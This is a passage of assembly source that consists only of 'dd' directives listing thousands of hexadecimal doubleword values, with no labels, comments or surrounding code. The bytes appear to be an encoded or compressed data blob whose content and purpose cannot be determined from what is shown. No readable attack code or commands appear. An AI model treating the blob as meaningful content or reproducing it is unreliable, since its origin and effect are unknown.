dd 58514515h, 0C3B9E1B0h, 23BF00FDh, 3D3474C1h, 0BB3A6B9Dh
dd 80E221Fh, 42F00C4Ah, 8347CF28h, 0CB5D03A9h, 0B659DD00h
dd 0AF1CFD8h, 8F020C4Dh, 20A8D6CBh, 4220F845h, 0BE0321FCh
dd 3EA60240h, 20042242h, 731AEBE3h, 4C9E9E7h, 0D4D0BF5h
dd 890F0FE6h, 144D8350h, 5FEBF481h, 0F101264h, 0E267052Ah
dd 0EAFE071Fh, 821B22D3h, 4879279Eh, 0D0E35E6Ch, 1D63E6F4h
dd 2786DD18h, 105458EAh, 0ED86501Fh, 1C7DEC0Dh, 191144D0h
dd 403E07DDh, 7A251022h, 2E530EC9h, 153CC7E3h, 3A427094h
dd 0E440F61Ch, 83030304h, 137DFE26h, 4FB4484h, 2F74484h
dd 84EF1584h, 0DF281A58h, 0FFBA16A7h, 0E16783F3h, 1CD21A59h
dd 16D94925h, 75D80906h, 4E80171Eh, 18920901h, 0E507890Fh
dd 8CDB3FBh, 100A2AD7h, 78B658F7h, 213402F8h, 0D1AE6C16h
dd 4207E1B6h, 190F1334h, 2A8C1662h, 234A12EBh, 248CA67h
dd 9230795h, 0DD5A1C03h, 1FA57940h, 91379477h, 57530939h
dd 0E7091CD6h, 0B4B28A1Fh, 14745B01h, 0AB425D84h, 0EE6EE40Fh
dd 2C5964ACh, 0D6BA0F7h, 13D8F449h, 701BF616h, 0D56A9B0Ch
dd 1AFB1A62h, 0E4F5FD8Bh, 0E03DD3ECh, 15CFC8EAh, 8922146Ah
dd 7FE012B8h, 0C8236A03h, 24883022h, 66E8F981h, 0E9A61058h
dd 303B2831h, 8C7F9085h, 104DD82h, 78601DDCh, 5822A87h
dd 978BD8F0h, 771D66D0h, 9C7ED902h, 5EFF45Dh, 202D6E41h
dd 876358Dh, 0EB27DA4Ah, 28482D8Ah, 232E46E4h, 8A46BFF0h
dd 0E079701Eh, 19949D0Ah, 9DFE21DAh, 3E8825A8h, 0FC32CEDAh
dd 55F8D73Dh, 664CCB49h, 0CA07F325h, 48300ADDh, 8F46EC71h
dd 56255F8Bh, 453D35D7h, 0FEAB0F07h, 0C90CFEC8h, 4098D59h
dd 0FD80F5D0h, 0CC5FBCEh, 66C6097Dh, 0EB2BC58Ch, 73433854h
dd 0D34A39B8h, 12D202B0h, 0ACFA458Ah, 5B4E4C0Ch, 0B813A9A9h
dd 40FAB103h, 2B1F7D2Bh, 6084C134h, 9EE83EC5h, 7BD18144h
dd 0F81CCF6Dh, 21CCE1D7h, 8B18BC02h, 0DAE37548h, 0C799D028h
dd 18A221A4h, 6055B3EBh, 6A32125Eh, 0FDB52810h, 8A4BCEA2h
dd 7D453EDh, 4A6A0B8Ah, 0C0EFC517h, 5FFF85B9h, 92E15B5Eh
dd 5FA6A73Bh, 0EE5873E2h, 0BC51C425h, 2A74E40Dh, 0FB566492h
dd 29146322h, 752B11AFh, 25BFC47Fh, 0D19681Ch, 7587FA28h
dd 0E02B6F20h, 241F86D1h, 10B011E7h, 0EB595DF6h, 2D38923Ch
dd 0C82AA48Dh, 9E280EDFh, 0F84FA359h, 3C647484h, 9C632A57h
dd 2036349Eh, 97BCFD59h
dd 12254BB8h, 7F42CDFEh, 58C57D15h, 1ECBC392h, 0C933097Bh
dd 0C42908B8h, 0B03BC684h, 0E4E74C1h, 3D413FC0h, 0EDD344E0h
dd 1BD9FA9Dh, 190CCD04h, 97598AC3h, 6A0B7E7Bh, 0AC16EB05h
dd 0F0011098h, 29FAF10Eh, 8F061987h, 58031198h, 0DF13C35Bh
dd 0E7D10AB0h, 498D2Fh, 0FCD90885h, 0A7FAF997h, 0BD34CE5Fh
dd 890EE861h, 54FE0531h, 0D3DACDBh, 3A41800Fh, 0A40B17C3h
dd 0B2FEA892h, 81BE8229h, 0F0F8687Dh, 9751F7Fh, 5908DD39h
dd 483CD716h, 818CFF12h, 95852A75h, 0D17FF8B8h, 2166C8BAh
dd 0EC27ACDCh, 0F9A41719h, 0F7136B89h, 1615B90Ah, 670CA807h
dd 25B7459h, 765D586Eh, 95523A38h, 562C62D2h, 0A0892D6Ah
dd 90084409h, 89ADA483h, 7066110h, 0E647466h, 0F326583h
dd 57024D11h, 32BE33B9h, 736F6448h, 8CC1F9EAh, 0C3105EF6h
dd 0C65D1DEh, 800B1212h, 683030Bh, 0A1A0116h, 0E7EB4E08h
dd 0E963B89h, 4899ECEFh, 64E4915Eh, 0CECB5182h, 0F9DF2834h
dd 16272BEDh, 91968B46h, 0FE0EA8E4h, 25662804h, 0BF0F04BEh
dd 89EE81F0h, 42345526h, 5E308918h, 9B7D444Ch, 38FE7D35h
dd 980E2C10h, 0A5E2DB1Bh, 1356270Fh, 0BD08FE25h, 0D723C812h
dd 0D44D5769h, 1510AE0Bh, 0EF6D39E4h, 659C9147h, 0F624AFD0h
dd 0A07B0C1h, 58892DDBh, 0FC5DECD9h, 9D0D9C9Bh, 84D8A810h
dd 0E6838B12h, 0B26C961Bh, 129A1449h, 719A445Ah, 0DE3FE8E4h
dd 1DD8B4F1h, 0EBF984A1h, 81971944h, 38406309h, 0A44C010Bh
dd 1B596587h, 192CCBD3h, 1F247017h, 68950097h, 0C8F0094Ah
dd 75DC9F39h, 64DB3F9h, 6E187F6Dh, 1F721EE8h, 6476D758h
dd 7A2BE6Bh, 0A19A5351h, 32FF5C94h, 0F1597050h, 0AC1F78B4h
dd 10C42987h, 24385036h, 0B9B0C3D0h, 3E10142Dh, 0FC97BE0Fh
dd 0E00C691Ah, 2C4F74F6h, 3269148Eh, 1FED14D9h, 0D3A8A32Bh
dd 49D4474Fh, 0ECFB7A0Dh, 7B0EEC06h, 0BFEFE746h, 0F20CC1F6h
dd 75C91684h, 0DF0CA8F3h, 301E15D5h, 0C742408h, 0F1CA743Ah
dd 660148E8h, 24F43D40h, 2AD50FDFh, 800D0619h, 0C93465F9h
dd 5B56450Ah, 770FED92h, 30386748h, 8749FAB7h, 8AA10114h
dd 0C2B4011h, 0F61688CAh, 0EBC24EAAh, 7293A2C5h, 0FFA46EADh
dd 0E681DD52h, 0B87E1B74h, 3D0282E7h, 0BF0C0428h, 5D6DD7E5h
dd 12A2FC22h, 232F1B55h, 41BF5536h, 2580CD4Ch, 8C765C3Dh
dd 0EC005D69h, 58A1105Dh, 0C4161BD2h, 0DB0354B8h, 51C19F0Fh
dd 3183142Eh, 0A63C8D2Ch, 623E0103h, 4891157Bh, 998B3806h
dd 938C2074h, 0F93D0D75h, 565E966Dh, 430A0EEDh, 0D925001h
dd 0DB633E83h, 3417244h, 0CA50D072h, 0F8B53D39h, 35146D32h
dd 0C66530F9h, 8940E1E1h, 24147E3Ch, 7FBC570Dh, 65088812h
dd 0B1A9A144h, 0A0687016h, 0D38E251h, 79039549h, 4ACB93C8h
dd 4B4FF883h, 0B8444AADh, 7E2690C8h, 0F0454BC6h, 279141CFh
dd 5E403C1Eh, 5794B04h, 28DB64F7h, 0FB92802Dh, 115E7C64h
dd 99D80BA1h, 0FEF7245Eh, 8D1437BEh, 90DAFD0Eh, 0A3DD0A2Fh
dd 0A9EA986Dh, 947E6A8Dh, 0E749701h, 57561004h, 60A19681h
dd 0ACC121AFh, 2235D11Ch, 0C33B040Eh, 8924775h, 8F031A3Eh
dd 2B58BCDh, 608030C1h, 0DAEBAA61h, 26149549h, 0CC6ADB0Bh
dd 12460C88h, 2DC30304h, 0EEC5ED0Bh, 0FD01024Dh, 45C60775h
dd 17D8D00h, 0E3E04FD7h, 49C99010h, 0C6835B57h, 47A23007h
dd 0F80312E0h, 41561D92h, 5AC84E16h, 3609F59h, 47770476h
dd 7DF6850Ah, 0EBAF28h, 0EBDEF715h, 3B08CE06h, 0F6FC7CCBh
dd 9D2D5314h, 74306ACBh, 5F14E04Eh, 6C9DC58Bh, 927F95A6h
dd 7A82482h, 0D8A4A328h, 49054197h, 0D49D16Fh, 54F32360h
dd 534950E9h, 0F18B82EBh, 46B29A56h, 2A97D00Dh, 0F27392Ah
dd 88C19C0Fh, 53D642Ah, 0F8480440h, 15A3289Fh, 23217C24h
dd 0A51D7D09h, 7820ACAh, 0ECEF646h, 0FEC520F9h, 0D094E853h
dd 0A71D2E94h, 56A2784Bh, 40791214h, 0F79E10F6h, 0C6B3C84Bh
dd 9FCEA405h, 2C05AFBh, 53807912h, 0FD4FE625h, 270C8A61h
dd 0D152DC53h, 5D7D1311h, 2CE6FE23h, 46107D2Ch, 610D321Ah
dd 0D862C47h, 0E9137566h, 4D42D19Dh, 0E54FB75Ch, 163918D5h
dd 0EBEB5BE8h, 0F46D135Bh, 7D52A7E7h, 0D6856126h, 9E1F1A5Ch
dd 6381F66Fh, 3E95040h, 0C60B41F7h, 0DC49A770h, 803E6DD3h
dd 20BF577Eh, 13199305h, 0AF743E39h, 65A4D165h, 0A0665B04h
dd 0C3ED7EDDh, 78576FB2h, 69750587h, 2656FF6Ah, 18314766h
dd 56EB7FFDh, 50C03EBEh, 63388102h, 0D5E06D73h, 1478B560h
dd 2688982h, 5F084973h, 0F1D9A00h, 243455B6h, 0FDB05E52h
dd 0F8564E1Ch, 0C083A50Dh, 20740AD1h, 4C181FEBh, 1BA52406h
dd 5116B1B1h, 3CF13DADh, 1852312Dh, 3B800C01h, 5F4020E4h
dd 85E3F808h, 0DD07CF0h, 78413B18h, 9FAAAC04h, 0BB52B4C4h
dd 27C34780h, 147E11Eh, 0FC9A1604h, 58563F1Bh, 0A4DE75A1h
dd 4B58BEEAh, 0B7682208h, 111B66C9h, 1BB46CA1h, 4785E1D0h
dd 8CEC37BEh, 804A3F97h, 56096BC9h, 84F94603h, 0B443877h
dd 0DB1E2834h, 0D114C88Eh, 451245B6h, 0F0A420C8h, 47995697h
dd 345745FCh, 6491ABE3h, 8032D3C4h, 0AC77D827h, 378D1EAAh
dd 0A3633A9Ah, 7BE97C7Fh, 7F77D504h, 0D7BED084h, 0CFE369CFh
dd 7EF41013h, 3F50A1BCh, 4A86B840h, 10DF178h, 207EF812h
dd 2790762Ah, 84D93749h, 0F8F3A018h, 30D81A25h, 3909419Fh
dd 0E17F3E8Ch, 92F7F416h, 0A5E91082h, 0EBC2137Dh, 5496FE24h
dd 53202A0Dh, 96818A35h, 19564460h, 0AA2CB140h, 6B9155A5h
dd 93D2C14h, 29802117h, 0CF60ADDh, 1D251F20h, 22467526h
dd 88421583h, 0EF14B4Ah, 1712471Eh, 0D5C523F8h, 0FC1D8112h
dd 4C3DBD8Ch, 4A96C870h, 0C435217Ah, 10B6FE18h, 0FBAAC3C4h
dd 4F730A33h, 9185AAFEh, 0F021243Bh, 4F73F887h, 437C3E51h
dd 7F7C61E6h, 24A27DDEh, 19D0104Eh, 5A980374h, 757F44Dh
dd 8798006h, 85397E0Bh, 25F0C083h, 0ED0ABE6Bh, 32FA6F50h
dd 0C6E710EAh, 0A9EB2714h, 0E87114D5h, 64A19D47h, 8E78804Ah
dd 9E508D8Ah, 0BFC4156h, 0F1044E84h, 4B4347A1h, 0EB526085h
dd 2205EBCBh, 870206F6h, 4A07560Fh, 3AF6D197h, 1A82870h
dd 90ACF0Fh, 1DA4303Bh, 0D5047549h, 75491F51h, 78A82A98h
dd 650CE487h, 735C4EBBh, 0E475497Eh, 0AF43A877h, 55557409h
dd 57ADE70h, 0A5CD774Ch, 47F623AEh, 0F0444814h, 680C81A5h
dd 0F86B0103h, 276694F0h, 0E0C077B0h, 0D4951AEBh, 4BDBA0AFh
dd 90B0AC9Bh, 55936813h, 3706A434h, 3AB7F034h, 0C6E9A6EBh
dd 641F21F4h, 75EB0D13h, 0D237BEA2h, 57A7320Bh, 0B9946512h
dd 206C3690h, 9F1C82C2h, 2A17364h, 0F9A83FFFh, 621BC9D8h
dd 2C1D919Dh, 2F1F72C3h, 0F7D5703h, 35EA9340h, 36744928h
dd 73576F31h, 2094A09h, 0A5597568h, 89402805h, 73CA861Dh
dd 10941E0Ch, 2C1AC449h, 718F412h, 40505728h, 59BC6A4Bh
dd 0F78B8E1h, 0F5C91CC8h, 6AD49411h, 5EDC7AD2h, 0AE4E9794h
dd 450B5113h, 20C7130Dh, 6C43E412h, 4472E025h, 39153D51h
dd 1615420Fh, 2AADFC5Dh, 95666496h, 97C8BF1Eh, 0FA314BC3h
dd 41D44B4Dh, 9D083C49h, 0BF0A9FF2h, 64B0FA2Dh, 0F286381Bh
dd 5C8028D6h, 185F9DAAh, 9592C5BFh, 0CF94EF56h, 6C8F4292h
dd 2DD878EEh, 67824689h, 7FAFA3E4h, 7E14E0CFh, 883F8112h
dd 832E270Eh, 219F3C7Fh
dd 97142EBBh, 3914124Ah, 13647EC5h, 22BBD40Ah, 0E2F7C55Dh
dd 0AD6F6ED1h, 0CDFCAF9Dh, 136D7819h, 0A63B4FBh, 4F881E4Dh
dd 36522739h, 526565D0h, 412D02FFh, 8858D604h, 0E9240175h
dd 8B6B144Ch, 45842A7Ah, 17E83960h, 0A7A8107Ch, 0BF3F68Fh
dd 0EA7744E0h, 9E0BDDC1h, 88D079Bh, 98A53027h, 0A49C3FBFh
dd 3A1E4512h, 0B2F61E5h, 2B121488h, 8D6D9846h, 4E222238h
dd 26642C6Ah, 1E1D2631h, 4C5D1452h, 0E4477323h, 0AC955408h
dd 0C914E0E4h, 8C6C574Fh, 0FC7E8D81h, 85310F04h, 78B33BEh
dd 29B42342h, 5608BC80h, 34CE97EBh, 85561518h, 582C3A75h
dd 748D8F8Ch, 3406A97Eh, 579D8EFFh, 0EB156050h, 74C53A66h
dd 48363C56h, 0B850FAAEh, 0C5A13B0Dh, 0AD1CD504h, 52A8F040h
dd 46DA4750h, 0A5C2AA18h, 1A1FEB29h, 0B3EB9ED8h, 0A496A6C4h
dd 0BFA9FA52h, 0F4024C18h, 0C4930E70h, 51F8E010h, 95F932E3h
dd 1B7413ABh, 89044B88h, 5AA2211h, 1870FF51h, 0AD626950h
dd 0E381D20h, 950F0C45h, 8D8767D4h, 0C0DE0B75h, 9EAEF1ADh
dd 451C001h, 0D285C603h, 200D7C2Eh, 1F9E321Bh, 0DC0E0C22h
dd 0F9C196CAh, 530482F4h, 47C57F51h, 0CA55ED32h, 7D4044B8h
dd 0C6D5C56Dh, 0FF8D061Dh, 0DDFCC0D0h, 5E295D6Ch, 23E6B5EBh
dd 0B905750Ah, 2248AC02h, 0FC595D8Ch, 0D60C57C2h, 11F0F023h
dd 0A8830BFEh, 737674A1h, 0A18A1665h, 7EBD009h, 3ECB1F14h
dd 1E9739C7h, 3F5368DEh, 2156A4D0h, 0E4547908h, 0D44411A1h
dd 4284AC43h, 65A3891Dh, 0BA56AFB0h, 0D724FF69h, 0CEA3EF19h
dd 0E917D712h, 0DEF15BCEh, 9F81C61h, 78384CEBh, 23C2730h
dd 0F4951F75h, 94D76B81h, 0BBC6958Ch, 600907F9h, 0BD11EB94h
dd 4C42A37Bh, 307F0B70h, 183B5351h, 0C5D14005h, 0FDE37357h
dd 0E257CAC8h, 0F2645F88h, 10853C72h, 2131220Fh, 0B6B5056h
dd 58A17652h, 0EB9D4FEBh, 0E5B34E86h, 3EEC6B52h, 4835EE97h
dd 239BDBBAh, 0DBC1A709h, 0E8E42F07h, 448D37FDh, 0BEC3B50Ah
dd 0F25BF26Ah, 4BD596E7h, 1077C591h, 0AE17C57Eh, 35D621Fh
dd 301A1075h, 0CC3AD730h, 0F5364FFh, 578B5B7Ch, 0C2F76640h
dd 0EEC20108h, 4804472Bh, 0D2F6203Ch, 854FAAD0h, 4DD9EFD8h
dd 0F3A68C2h, 0D6EF2933h, 0FAC1DEC2h, 1FE3DD83h, 99514D1h
dd 4DAD800h, 28743F80h, 4F3BD11Fh, 3A212273h, 3E03750Ah
dd 0EB42F4C0h, 7D62DFF1h, 1CD412A7h, 75512BD2h, 0A46858EBh
dd 89BF0E46h, 57010C47h, 0F634C971h, 10D2F883h, 0C0552132h
dd 3C12BEEh, 9327B4C2h, 3B2FAAC6h, 6AE30632h, 0F48C29DDh
dd 68C22161h, 1DA73EC0h, 3B4D1427h, 7382E2D4h, 9B38800Bh
dd 2140F28Bh, 0D9200D47h, 0FC2F4234h, 0C3B832B1h, 0CBA3FBADh
dd 0B770816h, 45DC4F28h, 725D0544h, 845847C2h, 0A06749FBh
dd 279A421Eh, 8D2D2958h, 0C2DAB8F8h, 0A153F548h, 0FA42DE6Dh
dd 830F300Dh, 324E794Ah, 0B5F14AC1h, 9C44BD5Ch, 8957EB89h
dd 0F5FF3345h, 0F865B852h, 30EBF006h, 0A32202D4h, 7E5F899Dh
dd 51570A5Eh, 644C53CFh, 910C5BC3h, 0E1C16480h, 20B2A9A6h
dd 48858333h, 86168966h, 88AEE7h, 912782FBh, 2FFB3A2Bh
dd 296FA850h, 8A40F817h, 0F9801B09h, 141CAA0Ah, 9628C6F0h
dd 20FD8851h, 95508D8Ch, 0CA5A2B2Ah, 147C408Ch, 3CF88BCCh
dd 0AC172B8Fh, 8B0ED0C3h, 0E4C2D657h, 437431F0h, 1F4E68Ah
dd 0C73B05F2h, 6FFBAC7Ch, 147DB0CAh, 0BA8A7210h, 0F14A07Dh
dd 379EF85h, 9748C40h, 58056A5Fh, 4C754322h, 0A3177A67h
dd 0D4D0B4B8h, 0CABBA026h, 0C7EB814Dh, 44F44D8Dh, 42ADF6DCh
dd 0A20B8865h, 0F844C2D2h, 2D94A7EBh, 497A9C59h, 0DC3DCBE7h
dd 85406438h, 3815E41Ch, 0CDA8C0BDh, 11ACA2FEh, 89111C6Ch
dd 0EB6D413Dh, 0F0A04216h, 2CF6B7F5h, 3E28C456h, 517C294Eh
dd 74783D96h, 467E75ACh, 5B7D00BDh, 0D3206853h, 9A20B863h
dd 449D053Eh, 0AC0AB264h, 0EB08241Dh, 8C423022h, 1CA94CB8h
dd 9C010D48h, 7E440122h, 18022009h, 4B7E141Fh, 1A60FE10h
dd 9CCC2402h, 54451F38h, 67581EA1h, 0A6E21D89h, 49C8C3D3h
dd 4F59E946h, 2AB8A238h, 206945D3h, 4D4CF432h, 0E842EB7Ah
dd 1FC54F2Fh, 9D535EFh, 0F0EA50DFh, 95C4E475h, 3BE49A48h
dd 0B1E3DF4Ah, 1312BD4Bh, 9AA1B04h, 0D7492434h, 625AC2B5h
dd 0DC84C465h, 132554B2h, 0D05F2932h, 0E6128B6Ah, 89D0DE72h
dd 0EC586674h, 0A36249EDh, 0F5A25844h, 1BF24D68h, 44C4A648h
dd 79608B4Bh, 0F7023BD8h, 45F63274h, 4025C10Dh, 0F21C7E99h
dd 823B12B2h, 0B21E7FD6h, 0AB333CDBh, 0E3AD9D22h, 65C0F04Eh
dd 0CE79C84Bh, 0B440C676h, 0DC148F36h, 0B4E029D4h, 25B71290h
dd 0FDB336DBh, 0B474DF0Ch, 0AFE4CB56h, 9C748A68h, 31B4A090h
dd 0EB080475h, 0A88D5906h, 25BCF52h, 88151E30h, 97C0A471h
dd 0F6F3B072h, 23C643C9h, 57E94F72h, 8458C75Dh, 4A8D5601h
dd 6E0D74FFh, 3ED13494h, 0C6E49F1h, 5E1BF331h, 2B6405ECh
dd 0B2AFC33Fh, 98532DD9h, 0B53826EAh, 2091F774h, 5F59AC5Ah
dd 1530B0ADh, 5FB8317h, 60A98FA3h, 0C475C208h, 354ACDBBh
dd 0F6F93422h, 0D0BC7B1h, 0B2C2649Ch, 0AA0C76A5h, 27A45C0Ch
dd 4C2579FCh, 0C00D2D4Ah, 153066DAh, 0D1030DC4h, 0CA3B1E56h
dd 348DC37Dh, 0AD62B49h, 2750B534h, 0C6DB40EBh, 0F7754A0Ch
dd 35488B62h, 0F93D25CCh, 45504AD2h, 8383300Dh, 523D70EBh
dd 81C81390h, 913D5D41h, 484210Fh, 3C933D4Ah, 37108485h
dd 82F28D3Dh, 433D2410h, 4186C88Fh, 8923D11h, 8A448C0Ah
dd 9F89A6FFh, 0D34CEF50h, 0DC0B45DDh, 48FBEB5Eh, 25D751FBh
dd 0E4A3370Ah, 925F5449h, 15A22109h, 5B9F2440h, 2CB25D4Ah
dd 89C8ED40h, 88F33139h, 45B8560Dh, 5FEE2474h, 0C01721ECh
dd 73C67000h, 1E103904h, 8D8DF575h, 0DA085E49h, 0C13B1682h
dd 0E1741384h, 6ECA3E0Bh, 182024Fh, 86F70DFBh, 9D1F8CB4h
dd 75224360h, 0FEFC254Fh, 0FE10D672h, 0DC117C22h, 70A22595h
dd 0EA72E73Fh, 0F846E627h, 443E6602h, 0A07100Dh, 676203Ch
dd 77D81AFDh, 536AD9FAh, 0E9219204h, 0AB4BC7ADh, 4C5BE050h
dd 625C43D8h, 9BE34B6h, 3A50780Ch, 1274C307h, 1423D3Ch
dd 65597447h, 0BEB0AE59h, 0B430F7EBh, 0E66FE5BDh, 88AA4B76h
dd 0A90F3D3h, 0C1650469h, 29890927h, 805C9D2h, 3842003Dh
dd 5539741Fh, 8B3A5754h, 451859ECh, 22943F80h, 0A2799F55h
dd 2F290645h, 9F36E530h, 0EEA88979h, 330047Dh, 0C97570FDh
dd 85FF535Dh, 0D60DBC5Ah, 760C8210h, 50391E58h, 0EC9F9088h
dd 0C35B2762h, 3C863AFDh, 0A0BE34BEh, 0DCF2BB59h, 89D1BD4Eh
dd 42A12A1h, 8B4414A3h, 9384EEFEh, 0AD1C84FFh, 0F153C99Ch
dd 25280990h, 0D981EA66h, 4AD54A88h, 0D704FAA1h, 23A3A25Ch
dd 4B503630h, 5656867Bh, 1FF45B36h, 0D0B6DD48h, 0A39D40BDh
dd 5B0FF864h, 0BCD964ABh, 7C142DD4h, 0E6211A57h, 79545CC2h
dd 0D6B6C794h, 50FFF592h, 0C4374B53h, 0DF49BFDAh, 449C0038h
dd 7901508Ah, 0BFFA4840h, 4479292Dh, 56FDDEBAh, 13E0BD2h
dd 718A0Ah, 1688108Ah, 0CA94046h, 54EB0CD5h, 9D040DCEh
dd 18E5BF63h, 43EB3A41h, 560512A9h, 40670A1Fh, 83E4DA8Ah
dd 18349369h, 0CD6715B8h, 5D09B420h, 75721237h, 3840ECCh
dd 44BCC448h, 0FAFF664Bh, 1618EC0Eh, 0B708F653h, 0A8AB4E0h
dd 2728052Ch, 181628DDh
dd 0BD46C811h, 14558B83h, 10D502F3h, 8694D8D1h, 0C25C4665h
dd 625F407Eh, 2C9311E3h, 84C2846Fh, 18F5B497h, 787C58BAh
dd 0E48D2228h, 49063CD6h, 5F7003EBh, 7BF9A508h, 0F18D6C0h
dd 0C0C27E94h, 8BEBD10Ch, 2BF4BD3h, 90430E8Bh, 2806C689h
dd 0BFB2465Ch, 81824778h, 834AA823h, 0AF88070h, 3F458BA4h
dd 5E6E3AD5h, 532ED93Fh, 24E34F19h, 1CCA2006h, 418F0FC4h
dd 42D0336h, 299174EBh, 9B3122E7h, 281F1520h, 309C8DFh
dd 8F2B2783h, 76AB2B75h, 2E82AD24h, 500BBFA4h, 302D265Ch
dd 83E1A833h, 8BF692D2h, 0C95350C1h, 4A5DD50Ah, 5A17CBA5h
dd 2656F644h, 34115928h, 0A022BB5Bh, 441C28EAh, 2ABF5802h
dd 44CD96B6h, 444A5281h, 504C400Ch, 396688C2h, 40741E58h
dd 85E340ECh, 0F9751812h, 2BF20720h, 9FF49DC6h, 61F8D142h
dd 6A4408Fh, 0FF08345Eh, 0FF349380h, 0B36B0D7h, 3274EB3Bh
dd 2AD6331Ch, 3A230B0Ch, 0FAF2BF55h, 444DB4F7h, 4B18E9BAh
dd 28DCDEC4h, 8B14CC5Ch, 9FA15609h, 27C30838h, 792553EBh
dd 86A6104Ch, 7485B243h, 8461873Ch, 6787AAC7h, 83F6F87Dh
dd 0F72BF605h, 0CE87D6CDh, 1BFF83D4h, 0F55ECF1Ah, 0BEBF605h
dd 7F56BB82h, 84258453h, 0BB503CF2h, 2832BB4Fh, 1DE87D5Bh
dd 7A9744ECh, 179297F1h, 9250AC5h, 1B33843Ah, 0A416C564h
dd 23BEC70Ah, 0EAB42044h, 572AA286h, 801A9340h, 0E0EABFh
dd 546C6B7h, 24A1510Ah, 0A8CE1E2Ah, 0E2EB151Ch, 0B94FE28Dh
dd 7C6689F2h, 0BE0C3445h, 1C4A90F2h, 6EA5A7A6h, 300C05B9h
dd 0B8DD838Dh, 4B8F0882h, 0B82E1C45h, 39287754h, 7D0D6435h
dd 9B44BF52h, 15D900Eh, 80833815h, 8D078981h, 0C17F5088h
dd 80221873h, 40084060h, 970F8B80h, 0C1549072h, 0D69AE47Dh
dd 7C254A84h, 8A2ED0BBh, 0D2FC880Ah, 89467E0Fh, 0BDA35D03h
dd 205E8A36h, 0A2E4BD3h, 0B75080Ah, 8D2493A6h, 0C7D1437Ah
dd 4F55CF92h, 0B0CBD43h, 88610889h, 470E487Bh, 0A1C38345h
dd 0BA7CFE3Bh, 0ED185131h, 0FFD80E3Ch, 758F348Dh, 81DB8544h
dd 70810401h, 0F6256AB5h, 27ABD058h, 0E09348C3h, 0B324F593h
dd 8D6AA928h, 57177485h, 550C6772h, 89244F44h, 641D13Eh
dd 0C26F4E80h, 0DA540F9Ah, 8170A99h, 0F20DF6EFh, 0FB830243h
dd 0FF9B7C03h, 6E22B99Bh, 1ED6B52Ch, 80AA4445h, 3243567Eh
dd 7358303Ah, 1D222AE9h, 0FC2F2F08h, 0C95E5D49h, 7740F78Bh
dd 0AE415D12h, 22AA1482h, 2F2B1088h, 44438CEFh, 87B8073h
dd 3D3A72B7h, 76248D61h, 0E08F1690h, 563E4527h, 106B0655h
dd 321854FFh, 0B855E5Dh, 78339981h, 524DA73Ch, 50C533ACh
dd 3D2A04DAh, 92400D56h, 6A6FCF08h, 8FBE0B52h, 8F571A77h
dd 0CAC391Fh, 51FA79BFh, 34D91B7Bh, 6BA1EBE8h, 0BD74F1B8h
dd 0CA58D83Bh, 6A0A5D15h, 5DE540FFh, 72EE1756h, 0F15C550Dh
dd 8C29BDBCh, 8501C41h, 255CE918h, 0A198A0C2h, 4A65B63Ch
dd 4F0D169Eh, 3D222A12h, 16FEAE44h, 68218D3Ch, 0A23F7FFCh
dd 0A8A116B4h, 0FF59A04Bh, 649D56B3h, 0F1A3EB16h, 2F64A427h
dd 0B8D302BDh, 987472D8h, 0E20B4A65h, 0D5681115h, 0C056F117h
dd 3B03E6DCh, 411B9651h, 4011C27h, 36FB6D64h, 0D47E3EEh
dd 0C51EB84Bh, 7619FA81h, 8D10F118h, 5F9D5C85h, 0F695EA3Eh
dd 8F1848C3h, 0EAF77C14h, 1340608Bh, 0BDE1FF57h, 0C9B80845h
dd 3CCC59CCh, 1A297629h, 34C55527h, 835C0E20h, 36A1C1Bh
dd 10689A7Eh, 53BBDD85h, 4CE2BEE5h, 7BF4680Ah, 4511C856h
dd 79A6EA57h, 85F01E44h, 0B68AA01Fh, 0D7AFD4DCh, 24D91294h
dd 9BDA209Eh, 90C8DA11h, 61400228h, 5F2CB429h, 39FC2AEBh
dd 6A31A973h, 36FF2E89h, 0F37DEC5Dh, 0B136F4F9h, 69E3BE7Bh
dd 9F4BC475h, 0B7B4B2D0h, 90B9F609h, 9D018BF1h, 908DB1E8h
dd 0C2847FB1h, 0E3A81C73h, 50F5ED4Fh, 0F159EB61h, 582B3E86h
dd 0F8125F3Bh, 543AFAB3h, 0F330B0FDh, 588120F4h, 0C5C287F9h
dd 8DF943EBh, 3359CFA6h, 2E3D211Dh, 55442FA3h, 0AF96E989h
dd 11D66814h, 0FD60388h, 0E7C1E8EBh, 0FEDF13BFh, 9BB93217h
dd 0B0795689h, 52735784h, 0FFEDAFBCh, 848431E2h, 2ACC9D36h
dd 4E7E15A9h, 0AF08FB1Eh, 0E4081C10h, 0EB5314B4h, 0A67EB3Ch
dd 0A0354F5h, 2011EEF6h, 89078B00h, 0C033301Ch, 8A8F5B4Ah
dd 99B1ECD6h, 55180DEEh, 42281C97h, 5907C93Ch, 4B1328F6h
dd 262AED37h, 1F51BB32h, 0C82BAC8Ch, 9C8349F4h, 0B04E5008h
dd 83C1A19Eh, 33EC300Ch, 0F1C88DC0h, 7328F0A3h, 55297AB5h
dd 0CE1F01Fh, 7CF6ED4Ch, 0B9E0DE44h, 0F90E97F5h, 5C3FC30Ah
dd 3D103D87h, 79D0617Eh, 5C1FE283h, 7480D13Fh, 0A8505A25h
dd 0FF1CA29Ch, 12E45345h, 579115B8h, 8620A1A1h, 146A567Fh
dd 755E123Eh, 28FF207h, 0C63B06EBh, 4E057D7Dh, 6A1A04A3h
dd 0B270CC04h, 0F095597Eh, 2CA5DEDCh, 562630C1h, 1CA23589h
dd 8121936h, 66CD1A6Ah, 0A732B435h, 0BF158B12h, 0FA491735h
dd 3D45A120h, 0BB64D7E8h, 0D2330AEAh, 1C1D78B9h, 65F292C2h
dd 92A1D977h, 0D297F00Eh, 39EB5DAh, 6271095Eh, 73304220h
dd 7C55C4D8h, 0B13986D4h, 801287ECh, 0BCA81C3Dh, 0CFC00589h
dd 0C35B6341h, 0EC4BE8F3h, 5B624ABEh, 0D3D84459h, 58AFB87Ch
dd 0BAB44E71h, 0A018F2C7h, 0C711EB1Ch, 0D68D041Bh, 13823214h
dd 9B50F72h, 19297D91h, 0E6F7A409h, 2D07BEB3h, 0F656B300h
dd 574E80C1h, 895530AFh, 7422E85Dh, 3C67F09h, 0BEB10FFh
dd 9B76580h, 709066DDh, 0A22EFBB8h, 89FC4ADDh, 15F14028h
dd 83F80539h, 0FF62A44Bh, 20FA61E7h, 230F5E4Ah, 0EBC32BC6h
dd 36497D2Dh, 742C3B15h, 0D81D4B89h, 0D166348Ch, 9023F48Eh
dd 9105222h, 7A3403Ch, 0E4848012h, 0E50CFF16h, 0EA200A26h
dd 0E9308118h, 39C4060Ah, 0F09989BBh, 0D64594EBh, 0CCAB793h
